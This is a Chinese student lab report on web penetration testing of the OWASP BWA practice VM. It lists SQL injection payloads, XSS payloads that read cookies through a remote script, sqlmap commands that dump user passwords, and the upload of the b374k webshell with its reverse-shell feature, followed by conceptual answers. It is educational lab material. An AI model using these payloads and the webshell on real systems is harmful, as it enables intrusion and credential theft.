实验3Web应用程序渗透测试.docx
实验实验 3 Web 应用程序渗透测试应用程序渗透测试实验时间:2014/10/29实验地点:实验室 1428;一、实验目的一、实验目的1.学习使用 OWASP BWA 靶机。2.学习使用 Kali Linux 进行 Web 应用程序渗透测试。二、实验内容二、实验内容1.使用 w3af 漏洞扫描器对 OWASP BWA 靶机进行漏洞扫描。2.根据老师的课堂讲授,按照课件相关内容在OWASP BWA靶机上实践XSS和SQL注入两种攻击。3.配合使用 Tamper Data 和 sqlmap 进行 sql 注入攻击。4.利用文件上传漏洞植入 Webshell。三、三、主要主要实验结果(请截屏)实验结果(请截屏)(一)使用(一)使用 w3af 漏洞扫描器对漏洞扫描器对 OWASPBWA 靶机进行漏洞扫描靶机进行漏洞扫描1.如图启动 w3af 漏洞扫描器。2.编辑新建的 Profile,也就是配置各种插件。对 audit 类插件勾选 sqli 和 xss 两个插件,如下图:对 crawl 类插件只勾选 web_spider,如下图对 web_spider 的配置在窗口右侧,勾选 only_forward 并保存,如下图对 output 类插件,只勾选输出 html 文件。对输出文件的配置在窗口右侧,如下图输入文件名称并保存。这样扫描结果将保存在/root/dvwa.html 文件中。4.如下图在 Target 一栏输入扫描的网址,单击右侧按钮 start 启动扫描。扫描过程中扫描结果(二)(二)在在 OWASPBWA 靶机上实践靶机上实践 XSS 和和 SQL 注入两种攻击注入两种攻击1.在 Kali Linux 攻击主机上,按照课件第 29 页,实践“通过 SQL 注入攻击绕过身份认证机制”。2.XSS 和 SQL 注入攻击(1)在攻击机上访问 http:/ 1.的攻击方法,登录进入 DVWA 训练系统。(2)首先按照图示将 DVWA 应用的安全等级设置为 Low。(3)按照课件 29-31 页,实践 SQL 注入攻击。使用 OWASP BWA 靶机的 DVWA 应用程序演示如何获取后台数据库更多的信息。输入文件“XSS&SQLi.txt”中的脚本。将数据表中的每一行都显示出来,输入:or 1=1查 询 INFORMATION_SCHEMA 系 统 表,输 入:UNION SELECT 1,table_name fromINFORMATION_SCHEMA.tables-列 出user表 的 内 容,输 入:UNIONSELECT1,column_namefromINFORMATION_SCHEMA.columns where table_name=users-取得口令的 MD5 值,输入:UNION SELECT NULL,password from users-使用 concat()函数将所有的信息都列出来,输入:UNION SELECT password,concat(first_name,last_name,user)from users-(4)按照课件第 40 页,实践反射式 XSS 攻击。输入 alert(Have funs)输入alert(document.cookie)(5)按照课件第 43 页,访问 http:/ mutilidae 训练系统,实践存储式 XSS 攻击。访问 Mutillidae 的 Cross Site Scripting(XSS)输入:xss.js 的内容如下:document.write(This is remote text via xss.js located at ha.ckers.org +document.cookie);alert(This is remote text via xss.js located at ha.ckers.org +document.cookie);首先按照 sql 注入攻击登录进入 mutilidae 训练系统输入:document.write(This is remote text via xss.js located at ha.ckers.org +document.cookie);alert(This is remote text via xss.js located at ha.ckers.org +document.cookie);(三)配合使用(三)配合使用 Tamper Data 和和 sqlmap 进行进行 sql 注入攻击注入攻击重复(二)中步骤 2-(1)和 2-(2)。启动 Tamper Data 插件。4.按照课件 33 页使用 Sqlmap 进行 SQL 注入攻击。(1)扫描,输入:sqlmap-u http:/10.10.10.129/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#-cookie=Tamper Data 插件抓取的内容(2)获取数据库名,输入:sqlmap-u http:/10.10.10.129/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#-cookie=Tamper Data插件抓取的内容-dbs-v 0(3)获取 dvwa 数据库中存在的表名,输入:sqlmap-u http:/10.10.10.129/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#-cookie=Tamper Data插件抓取的内容-D dvwa-tables(4)获取 users 表中的字段列表,输入:sqlmap-u http:/10.10.10.129/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#-cookie=Tamper Data插件抓取的内容-D dvwa-tables-T users-columns(5)把 Password 字段内容搞出来,输入:sqlmap-u http:/10.10.10.129/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#-cookie=Tamper Data插件抓取的内容-D dvwa-tables-T users-columns-dump(6)使用 sqlmap 获取口令明文,输入:sqlmap-u http:/10.10.10.129/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#-cookie=Tamper Data插件抓取的内容-D dvwa-tables-T users-columns-dump(四)利用文件上传漏洞植入(四)利用文件上传漏洞植入 Webshell1.学习实验课件目录下的有关 b374k-shell 的 html 文档。2.首先如(二)-2-(2)将 DVWA 应用的安全等级设置为 Low。3.将实验课件目录下的文件“b374k-2.8.php”上传到 web 服务器。4.在浏览器中输入网址“http:/ Go,即可进入界面,如下图所示。5.在 Webshell 中探索在步骤 1 中学习的各种功能。File manager(view,edit,rename,delete,upload,download as archive,etc)可对文件进行查看、编辑、删除等操作:比如我对 dwa_emall.png 进行复制操作Command execution 命令的执行Script execution(php,perl,python,ruby,java,node.js,c)对脚本的执行:我复制了dwa_emall.png 中的内容粘贴到这里,点击 go。点击 Go 时弹出如下提示,说明该脚本正在运行中。提供服务器的信息可以连接到数据库还有 Give you shell via bind/reverse shell connect 的功能。四、实验总结四、实验总结通过回答以下几个问题来进行总结:1.你使用 w3af 漏洞扫描器对 OWASP BWA 靶机的 DVWA 应用进行漏洞扫描都找到了那些安全漏洞?请罗列主要的安全漏洞(高危的)。在 tcp/80 端口有两个高危漏洞:一个是可以在该网站中进行 SQL 注入攻击;另一个是在 POST 数据包含登录密码信息。2.何谓 XSS 攻击?XSS 攻击分为哪两类?各自的攻击原理是什么?XSS 攻击是一种跨站脚本攻击,攻击者往 Web 页面里插入恶意 html 标签或者 javascript 代码,当用户浏览该页或者进行某些操作时,攻击者利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。XSS 攻击分为反射式 XSS 攻击和存储式 XSS 攻击。反射式 XSS 攻击的攻击原理:Alice 经常浏览某个网站,此网站为 Bob 所拥有。在 Bob 的网站上,Alice 使用用户名/密码进行登录,并存储敏感信息(比如银行帐户信息)。Charlie 发现 Bob 的站点包含反射性的 XSS 漏洞。Charlie 编写一个利用漏洞的 URL,并将其冒充为来自 Bob 的邮件发送给 Alice。Alice 在登录到 Bob 的站点之后,浏览 Charlie 提供的 URL。嵌入到 URL 中的恶意脚本在 Alice 的浏览器中执行,就像它直接来自 Bob 的服务器一样。此脚本盗窃敏感信息(授权、信用卡、帐号信息等),然后在 Alice 完全不知情的情况下将这些信息发送给Charlie。存储式 XSS 攻击的攻击原理:Bob 拥有一个 Web 站点,该站点允许用户发布信息/浏览已发布的信息。Charlie 注意到 Bob 的站点具有存储式 XSS 漏洞。Charlie 发布一个热点信息,吸引其它用户纷纷阅读。Bob 或者是任何的其他人如 Alice 浏览该信息,其会话 cookies 或者其它信息将被 Charlie 盗走。3.何谓 SQL 注入攻击?SQL 注入攻击的原理是什么?“SQL 注入”指的是向某个 Web 应用程序输入一个精心构造的 SQL 查询命令以执行某种非正常操作即把 SQL 命令插入到 Web 表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的 SQL 命令。SQL 注入攻击的原理:SQL 注入攻击技术利用的工具是 SQL 的语法,针对的是应用程序开发者编程中的漏洞,当攻击者能操作数据,SQL 查询命令的语义很容易改变,只要在关键位置增加或者减少一个字符,就足以让原本无害的查询命令产生相当有害的行为。在“SQL 注入”攻击活动中,用来构造恶意输入内容的常见字符包括反引号()、双连字符(-)和分号(;)等,它们在 SQL 语言里都有着特殊含义。4.在实验步骤(三)中使用 Tamper Data 插件的目的是什么?为了获取 http:/10.10.10.129/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#的 cookie。5.什么是 Web Shell,请简述其原理。WebShell,“web”的含义是显然需要服务器开放 web 服务,“shell”的含义是取得对服务器某种程度上操作权限。黑客在入侵了一个网站后,通常会将这些 asp 或 php 后门文件与网站服务器WEB 目录下正常的网页文件混在一起,然后就可以使用浏览器来访问这些 asp 或者 php 后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载文件,查看数据库,执行任意程序命令等)。由于 webshell 其大多是以 asp、php、jsp 或者 cgi 等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。原理:webshell 就是一个 asp 或 php 木马后门,黑客在入侵了一个网站后,常常在将这些 asp 或 php木马后门文件放置在网站服务器的 web 目录中,与正常的网页文件混在一起。然后黑客就可以用web 的方式,通过 asp 或 php 木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等。再通过 dos 命令或者植入后门木马通过服务器漏洞等达到提权的目的从而旁注同服务器其他的网站